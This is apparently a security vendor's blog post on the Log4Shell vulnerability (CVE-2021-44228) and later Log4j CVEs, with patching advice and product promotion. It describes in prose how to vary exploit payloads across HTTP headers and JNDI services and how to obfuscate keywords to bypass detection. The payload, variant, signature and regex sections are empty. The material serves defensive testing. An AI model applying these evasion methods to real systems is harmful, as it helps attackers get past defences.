The Log4j Vulnerability Remediation with WAF and IPS

The Apache Log4j vulnerability wreaking havoc has a far greater impact than anticipated. We published a detailed blog post about the CVE-2021-44228 Log4j vulnerability and its exploitation on Friday, 10th December. However, in the past three days, we have seen that there is still a great panic despite a patch being available for Log4j.

When we looked at the reason for this situation, we realized that fully patching all vulnerable software was not that easy. You need to enumerate and patch all vulnerable systems and software in your environment, which is a time-consuming task.

However, most security teams don’t have enough time since attackers exploit the vulnerability in the wild. That is why we invested in our cybersecurity products. Security teams can use their existing network security controls, such as WAF, IPS, and NGFW, to prevent CVE-2021-44228 exploitation attacks and gain time for full patching. US CISA also recommends using a WAF so that your SOC can concentrate on fewer alerts.

This blog aims to help security teams gain time to fully mitigate and remediate their systems by explaining how to simulate CVE-2021-44228 attacks before attackers and how to utilize their existing security controls to prevent CVE-2021-44228 attacks.

Log4j Vulnerability Explained

Apache Log4j is a widely used Java library used in many commercial and open-source software products as a Java logging framework. The CVE-2021-44228 is a remote code execution (RCE) vulnerability that can be exploited without authentication. The vulnerability's criticality is rated as 10 (out of 10) in the common vulnerability scoring system (CVSS).

The vulnerability exists due to the Log4j processor's handling of log messages. Apache Log4j2 versions between 2.0 and 2.14.1 do not protect against attacker-controlled LDAP (Lightweight Directory Access Protocol) and other JNDI (Java Naming and Directory Interface) related endpoints. If an attacker sends a specially crafted message, this may result in the loading of an external code class and the execution of that code (RCE).

Test your security controls NOW: Prevent Log4Shell Exploits with Picus

Log4j Vulnerability Updates (CVE-2021-44832, CVE-2021-45105, CVE-2021-45046)

Update (December 28, 2021): A new vulnerability (CVE-2021-44832) is found in Apache Log4j2 versions 2.0-beta7 through 2.17.0. CVE-2021-44832 is an Arbitrary Code Execution vulnerability. Since it can be exploited by an attacker with permission to modify the logging configuration, its severity is lower than Log4Shell (CVE-2021-44228). Its base CVSS score is 6.6 (medium).This vulnerability is fixed in Log4j versions 2.17.1 (Java 8), 2.12.4 (Java 7) and 2.3.2 (Java 6).

Update (December 16, 2021) Recently, 2 new vulnerabilities have been found related to Log4j. Information leak and remote/local code execution (CVE-2021-45046) vulnerability was discovered on December 14th, 2021. Its CVSS score is 9.0 (critical)

CVE-2021-45046 is followed by CVE-2021-45105 which is a denial of service (DoS) vulnerability witch CVSS score of 7.5 (high).

Why Do I Need to Prevent CVE-2021-44228 Log4j Vulnerability?

CVE-2021-44228 vulnerability enables remote code executions on systems running vulnerable Log4j versions and allows the attacker full control of the affected server. Numerous organizations reported an increase in exploitation attempts for the vulnerability. For example, Deutsche Telekom CERT reported widespread attacks on their honeypot infrastructure via the Tor network. 

The observed exploitation attempts so far have been used to distribute mass-malware such as Mirai2, Kinsing3, and Tsunami3 (aka Muhstik). These botnets are primarily used to launch distributed denial-of-service attacks (Mirai, Tsunami) or mine cryptocurrencies (Kinsing).

We are confident that this is the most critical vulnerability that has emerged in recent years.

Update: Microsoft Threat Intelligence Center says that nation state actors are adding new techniques to their arsenal utilizing Log4j vulnerabilities. Known APTs like HAFNIUM and PHOSPHORUS are using these vulnerabilities to improve their ransomware capabilities.

How Can I Prevent Log4j Vulnerability Exploitation Attacks?

You need to take the following steps regarding this vulnerability.

• Discover any assets using Apache Log4j in your environment.
• Patch all assets that use vulnerable versions of Log4j (version 2.0 - 2.14.1).
• Ensure that your security operations center (SOC) responds to each alert generated for vulnerable assets.

However, these tasks can take days, weeks, or even months regarding the size of your environment. Therefore, as Picus, we advise you to take the following immediate steps:

• Simulate Log4j exploitation attacks to test your security controls
• Enable relevant prevention signatures in your security controls

In the following sections, you can find how to test security controls against Log4j attacks and a list of prevention signatures provided by security vendors.

Update: Apache patched Log4j to remedy recent vulnerabilities, patching vulnerable versions of Log4j to version 2.17.0 is important to prevent exploitation. 

How Can I Test My Security Controls Against  Log4j Attacks?

The most basic Log4j exploit payload to test security controls is:

This exploit payload is explained in our previous blog. To measure the actual effectiveness of your security products against Log4J vulnerability exploitation attacks, you should test all valid variants of this Log4J exploit PoC payload. You can generate these variants with the following methods:

1- Using the payload in different parts of an HTTP request

CVE-2021-44228 exploit payloads can work  in any part of an HTTP request: 

• URL
• Request headers
• Body

Request headers include but are not limited to X-Api-Version, User-Agent, Cookie, Referer, Accept-Language, Accept-Encoding, Upgrade-Insecure-Requests, Accept, Origin, Pragma, and Content-Type. Note that some public PoC exploit scripts send payload in only the X-Api-Version header, but other headers can be used for exploitation.

2- Using the payload with different JNDI related naming services

Although most of the public Log4j exploit examples include LDAP, attackers exploit all JNDI related naming services:

• LDAP (Lightweight Directory Access Protocol)
• DNS (Domain Name System)
• RMI (Remote Method Invocation)
• NDS (Novell Directory Services)
• NIS (Network Information Service )
• CORBA (Common Object Request Broker Architecture)

3- Using bypass methods

Some security controls use strict keywords to detect malicious Log4j exploit codes. Attackers may evade these controls by obfuscating these keywords. For example, JNDI and the name service (e.g., LDAP, DNS) are obvious keywords included in CVE-2021-44228 exploit payloads. However, obfuscated versions of these keywords can be used in Log4j vulnerability exploitation attacks to obfuscate payload and bypass security controls, such as:

How Can I Test My Security Controls with Picus in Minutes?

In order to test your security controls manually, you can use the above payloads. However, generating all applicable payloads, setting up a test environment and testing your security controls against all these payloads is also a time-consuming process. 

Fortunately, using the Picus platform, you can easily simulate Log4j CVE-2021-44228 vulnerability exploitation attacks within minutes to test the effectiveness of your security controls against Log4J attacks. Picus platform automatically simulates attacks without causing single damage to your environment and continuously validates your security controls.

Picus Threat Library includes the following attacks for Log4j CVE-2021-44228 vulnerability. Moreover, it contains 1500+ vulnerability exploitation attacks in addition to 11.000+ other threats currently.

Test your security controls NOW: Prevent Log4Shell Exploits with Picus

Update: Tables given below are updated in accordance with recently found CVE-2021-45046 and CVE-2021-45105 vulnerabilities.

Log4j Vulnerability Remediation Using F5, Citrix, Fortinet and ModSecurity WAFs

It is possible to prevent Log4J attacks using below signatures provided by network security vendors. Picus platform provides prevention signatures for CVE-2021-44228  and other vulnerabilities. The following table includes Web Application Firewall (WAF) signatures for the Log4j2 vulnerability (CVE-2021-44228).

Log4j Vulnerability Remediation Using Cisco, Check Point, Fortinet, Palo Alto Networks, Forcepoint and Snort IPSs and NGFWs

The following table includes Next Generation Firewall (NGFW) and Intrusion Prevention System (IPS) signatures for the Log4j vulnerability.

Log4j Attack Detection and Log4j Exploit Discovery with Custom Signatures

If the network security product you are using is not included in the tables above, you can use the following regular expressions developed and validated by Picus Labs:

Log4j Vulnerable Versions

CVE-2021-44228 vulnerability affects Apache Log4j versions 2.0 to 2.14.1. SHA-256 hashes and default filenames of all vulnerable Log4j versions are given in our previous blog post.